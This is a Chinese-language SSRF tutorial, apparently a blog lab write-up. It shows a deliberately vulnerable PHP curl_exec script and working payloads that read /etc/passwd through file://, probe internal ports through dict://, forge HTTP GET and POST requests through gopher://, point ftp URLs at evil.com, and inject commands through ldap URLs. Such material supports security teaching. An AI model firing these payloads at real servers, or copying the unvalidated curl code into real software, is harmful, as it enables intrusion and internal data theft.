测试漏洞源代码:

1
2
3
4
5
<?php
$url = $_GET['url'];
$curlobj = curl_init($url);
echo curl_exec($curlobj);
?>

file协议

file协议主要用于访问本地计算机中的文件。

协议格式:

1
file://文件路径

读取本地文件

读取linux本地文件(?url=file:///etc/passwd

image-20211127155243529

读取Windows本地文件(?url=file://C://Windows//System32//drivers//etc//hosts)

image-20211127155344052

dict协议

词典网络协议,在RFC 2009中进行描述。它的目标是超越Webster protocol,并允许客户端在使用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628。

协议格式:

1
dict://服务端ip:端口/命令:参数

端口服务探测

探测22端口是否开放与返回的banner信息(?url=dict://192.168.123.66:22

image-20211127162403080

探测6379端口是否开放与返回的banner信息(?url=dict:///192.168.123.66:6379/info

image-20211127162609600

gopher协议

Gopher是一个互联网上使用的分布型的文件搜集获取网络协议。Gopher最初的设计目标与万维网类似:共享文档,今天的万维网几乎已经替代了Gopher。但Gopher协议还提供了一些万维网先天缺乏的功能,比如在Gopher中所有信息都以层级形式存储,这被认为是存储大量信息的最好方式之一。

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

限制:gopher协议在各个编程语言中的使用限制

img

—wite-curlwrappers:运用curl工具打开url流

curl使用curl —version查看版本以及支持的协议

image-20211127171138943

协议格式:

1
dict://服务端ip:端口/_{TCP/IP数据流}

开始的_字符可以由任意字符替代,数据流使用URL编码。

  • gopher的默认端口是70
  • 如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码

发送HTTP GET请求

首先我们了解一下curl发送gopher请求的过程:

主机A:nc启动监听

1
nc -lp 2333

主机B:curl发送gopher请求

1
curl gopher://192.168.123.66/_abc123

image-20211127173443407

可以看到此时主机A收到的消息为abc123

那么如何发送HTTP的请求呢?例如GET请求。此时我们联想到,直接发送一个原始的HTTP包不就可以吗?在gopher协议中发送HTTP的数据,需要以下三步:

  1. 构造HTTP数据包
  2. URL编码、替换回车换行为%0d%0a
  3. 发送gopher协议

利用SSRF发送gopher协议请求

1
http://hackrock.com/mylabs/ssrf/curl_exec.php?url=gopher://192.168.123.66:2333/_abc123

可以看到nc接收到了消息,没有问题。

image-20211127204015043

我准备了一个PHP的代码,如下:

1
2
3
<?php
echo "Hello ".$_GET["name"]."\n";
?>

一个GET型的HTTP包,如下:

1
2
GET /get.php?name=Ulysses HTTP/1.1
HOST: 192.168.123.66

URL编码后为:

1
curl gopher://192.168.123.66:80/_GET%20/get.php%3fname=Ulysses%20HTTP/1.1%0d%0aHOST:%20192.168.123.66%0d%0a

image-20211127203007325

在URL编码中需要注意如下几点:

  • 问号(?)需要转码为URL编码,也就是%3f
  • 回车换行要变为%0d%0a,但如果直接用工具转换,可能只会有%0a
  • 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

发送HTTP POST请求

post.php的代码如下:

1
2
3
<?php
echo "Hello ".$_POST['name']."\n";
?>

发送POST请求前,先看下POST数据包的格式

1
2
3
4
5
6
POST /post.php HTTP/1.1
HOST: hackroom.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

name=Ulysses

注:Content-TypeContent-Length为查找POST请求中所需的字段,如果不叫则会报500错误

现在我们将它进行URL编码:

1
curl gopher://192.168.123.66:80/_POST%20/post.php%20HTTP/1.1%0d%0aHOST:%20192.168.123.66%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2012%0d%0a%0d%0aname=Ulysses%0d%0a

image-20211127203120446

ftp、sftp、tftp协议

FTP(File Transfer Protocol,文件传输协议) 是 TCP/IP 协议组中的协议之一。FTP 协议包括两个组成部分,其一为 FTP 服务器,其二为 FTP 客户端。其中 FTP 服务器用来存储文件,用户可以使用 FTP 客户端通过 FTP 协议访问位于 FTP 服务器上的资源。在开发网站的时候,通常利用 FTP 协议把网页或程序传到 Web 服务器上。此外,由于 FTP 传输效率非常高,在网络上传输大的文件时,一般也采用该协议。

Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。

TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。

1
2
3
4
5
http://example.com/ssrf.php?url=ftp://evil.com:1337/

http://example.com/ssrf.php?url=sftp://evil.com:1337/

http://example.com/ssrf.php?url=tftp://evil.com:1337/

这里仅做简单介绍

ldap、ldaps、ldapi协议

LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

1
2
3
4
5
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit

http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit

http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

这里仅做简单介绍

参考资料